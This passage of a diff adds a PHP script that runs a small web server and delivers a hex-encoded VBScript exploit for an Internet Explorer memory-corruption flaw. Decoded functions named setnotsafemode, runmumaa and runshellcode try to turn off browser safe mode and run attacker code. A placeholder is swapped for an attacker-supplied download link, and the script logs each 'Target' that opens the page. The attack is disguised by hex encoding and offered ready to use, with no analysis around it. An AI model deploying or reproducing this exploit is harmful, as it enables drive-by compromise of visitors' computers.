+    "\x6e\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x65".
+    "\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x77\x69\x6e\x39\x78\x3d\x30\x0d\x0a\x20\x0d\x0a".
+    "\x20\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x49\x66\x20\x43\x72\x65\x61".
+    "\x74\x65\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
+    "\x72\x72\x61\x79\x3d\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68".
+    "\x72\x77\x28\x32\x31\x37\x36\x29\x26\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x30".
+    "\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72".
+    "\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
+    "\x72\x72\x61\x79\x3d\x6d\x79\x61\x72\x72\x61\x79\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68".
+    "\x72\x77\x28\x33\x32\x37\x36\x37\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28".
+    "\x30\x29\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f".
+    "\x6e\x3c\x34\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75".
+    "\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x62\x72\x3e\x20\x49\x45\x22\x29\x0d\x0a\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x69".
+    "\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6e".
+    "\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x28\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x20\x20\x0d\x0a\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29".
+    "\x0d\x0a\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69\x66\x0d".
+    "\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69".
+    "\x6f\x6e\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x20\x52\x61\x6e\x64\x6f".
+    "\x6d\x69\x7a\x65\x28\x29\x0d\x0a\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x61\x28\x35\x29\x0d\x0a".
+    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x62\x28\x35\x29\x0d\x0a\x20\x20\x20\x61\x30\x3d\x31\x33".
+    "\x2b\x31\x37\x2a\x72\x6e\x64\x28\x36\x29\x0d\x0a\x20\x20\x20\x61\x33\x3d\x37\x2b\x33\x2a\x72\x6e".
+    "\x64\x28\x35\x29\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66".
+    "\x75\x6e\x63\x74\x69\x6f\x6e\x20\x43\x72\x65\x61\x74\x65\x28\x29\x0d\x0a\x20\x20\x4f\x6e\x20\x45".
+    "\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x64\x69\x6d\x20".
+    "\x69\x0d\x0a\x20\x20\x43\x72\x65\x61\x74\x65\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x46\x6f\x72".
+    "\x20\x69\x20\x3d\x20\x30\x20\x54\x6f\x20\x34\x30\x30\x0d\x0a\x20\x20\x20\x20\x49\x66\x20\x4f\x76".
+    "\x65\x72\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x43".
+    "\x72\x65\x61\x74\x65\x3d\x54\x72\x75\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20".
+    "\x46\x6f\x72\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x0d\x0a\x20\x20\x4e\x65\x78\x74".
+    "\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x73\x75\x62\x20\x74".
+    "\x65\x73\x74\x61\x61\x28\x29\x0d\x0a\x65\x6e\x64\x20\x73\x75\x62\x0d\x0a\x20\x0d\x0a\x66\x75\x6e".
+    "\x63\x74\x69\x6f\x6e\x20\x6d\x79\x64\x61\x74\x61\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45".
+    "\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20\x20\x69".
+    "\x3d\x74\x65\x73\x74\x61\x61\x0d\x0a\x20\x20\x20\x20\x20\x69\x3d\x6e\x75\x6c\x6c\x0d\x0a\x20\x20".
+    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32".
+    "\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a".
+    "\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x69\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30".
+    "\x29\x3d\x36\x2e\x33\x36\x35\x39\x38\x37\x33\x37\x34\x33\x37\x38\x30\x31\x45\x2d\x33\x31\x34\x0d".
+    "\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x3d\x6d\x79\x61\x72\x72\x61".
+    "\x79\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x37\x34\x30\x38\x38\x35\x33\x34".
+    "\x37\x33\x31\x33\x32\x34\x45\x2d\x33\x31\x30\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x64\x61".
+    "\x74\x61\x3d\x61\x61\x28\x61\x31\x29\x0d\x0a\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
+    "\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75".
+    "\x6e\x63\x74\x69\x6f\x6e\x20\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20".
+    "\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e".
+    "\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20".
+    "\x69\x3d\x6d\x79\x64\x61\x74\x61\x28\x29\x20\x20\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28".
+    "\x69\x2b\x38\x29\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28\x69\x2b\x31\x36\x29\x0d\x0a\x20".
+    "\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x33\x34\x29\x20\x20\x0d\x0a\x20\x20\x20".
+    "\x20\x66\x6f\x72\x20\x6b\x3d\x30\x20\x74\x6f\x20\x26\x68\x36\x30\x20\x73\x74\x65\x70\x20\x34\x0d".
+    "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x32\x30\x2b\x6b".
+    "\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6a\x3d\x31\x34\x29\x20\x74\x68\x65\x6e".
+    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64".
+    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x28".
+    "\x69\x2b\x26\x68\x31\x31\x63\x2b\x6b\x29\x3d\x61\x62\x28\x34\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
+    "\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x0d\x0a".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68".
+    "\x31\x32\x30\x2b\x6b\x29\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20\x66\x6f\x72\x0d\x0a".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20".
+    "\x20\x20\x6e\x65\x78\x74\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x36\x39\x37".
+    "\x35\x39\x36\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x0d\x0a\x20\x20\x20\x20\x72\x75".
+    "\x6e\x6d\x75\x6d\x61\x61\x28\x29\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d".
+    "\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4f\x76\x65\x72\x28\x29\x0d\x0a\x20\x20\x20".
+    "\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20".
+    "\x20\x20\x20\x64\x69\x6d\x20\x74\x79\x70\x65\x31\x2c\x74\x79\x70\x65\x32\x2c\x74\x79\x70\x65\x33".
+    "\x0d\x0a\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x61\x30".
+    "\x3d\x61\x30\x2b\x61\x33\x0d\x0a\x20\x20\x20\x20\x61\x31\x3d\x61\x30\x2b\x32\x0d\x0a\x20\x20\x20".
+    "\x20\x61\x32\x3d\x61\x30\x2b\x26\x68\x38\x30\x30\x30\x30\x30\x30\x0d\x0a\x20\x20\x20\x0d\x0a\x20".
+    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30".
+    "\x29\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x61\x30\x29\x20\x20".
+    "\x20\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65".
+    "\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x74".
+    "\x79\x70\x65\x31\x3d\x31\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x31\x32\x33\x34".
+    "\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38".
+    "\x39\x30\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x30\x29\x3d\x31\x30\x0d\x0a\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28".
+    "\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x20\x3d\x20\x46\x61\x6c\x73\x65\x29\x20\x54\x68\x65\x6e\x0d".
+    "\x0a\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3c\x34\x29".
+    "\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x65\x6d\x3d\x63\x69".
+    "\x6e\x74\x28\x61\x30\x2b\x31\x29\x2a\x31\x36\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x76\x61\x72\x74\x79\x70\x65\x28\x61".
+    "\x61\x28\x61\x31\x2d\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28".
+    "\x28\x6a\x3d\x6d\x65\x6d\x2b\x34\x29\x20\x6f\x72\x20\x28\x6a\x2a\x38\x3d\x6d\x65\x6d\x2b\x38\x29".
+    "\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66".
+    "\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20\x20".
+    "\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d".
+    "\x20\x46\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74".
+    "\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28\x61\x31\x29\x29\x0d\x0a\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65".
+    "\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20".
+    "\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20".
+    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x0d\x0a\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69".
+    "\x66\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20".
+    "\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d\x20\x46".
+    "\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28".
+    "\x61\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20".
+    "\x69\x66\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65".
+    "\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49".
+    "\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x32\x66\x36\x36\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20".
+    "\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72".
+    "\x75\x65\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a".
+    "\x20\x20\x20\x20\x49\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x42\x39\x41\x44\x29\x20\x54\x68\x65".
+    "\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72\x75\x65\x0d\x0a".
+    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x6e\x39\x78\x3d\x31\x0d\x0a\x20\x20\x20\x20\x45".
+    "\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
+    "\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
+    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f".
+    "\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6d\x28\x61\x64\x64\x29\x20".
+    "\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65".
+    "\x78\x74\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
+    "\x61\x61\x28\x61\x32\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29".
+    "\x3d\x30\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x61\x64\x64\x2b\x34\x20".
+    "\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x36\x39\x37\x35\x39\x36".
+    "\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20".
+    "\x20\x20\x72\x75\x6d\x3d\x6c\x65\x6e\x62\x28\x61\x61\x28\x61\x31\x29\x29\x20\x20\x0d\x0a\x20\x20".
+    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a\x20\x20\x20\x20\x72\x65\x64".
+    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x65\x6e\x64".
+    "\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0d".
+    "\x0a\x20\x0d\x0a\x3c\x2f\x62\x6f\x64\x79\x3e\x0d\x0a\x3c\x2f\x68\x74\x6d\x6c\x3e";
+    $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);
+    
+    for (;;) {
+        if ($client = @socket_accept($reza)) {
+            socket_write($client, "HTTP/1.1 200 OK\r\n" .
+                         "Content-length: " . strlen($msgd) . "\r\n" .
+                         "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
+                         $msgd);
+            print "\n Target Checked Your Link \n";
+        }
+        else usleep(100000);
+    }
+    
+    
+    ?>
\ No newline at end of file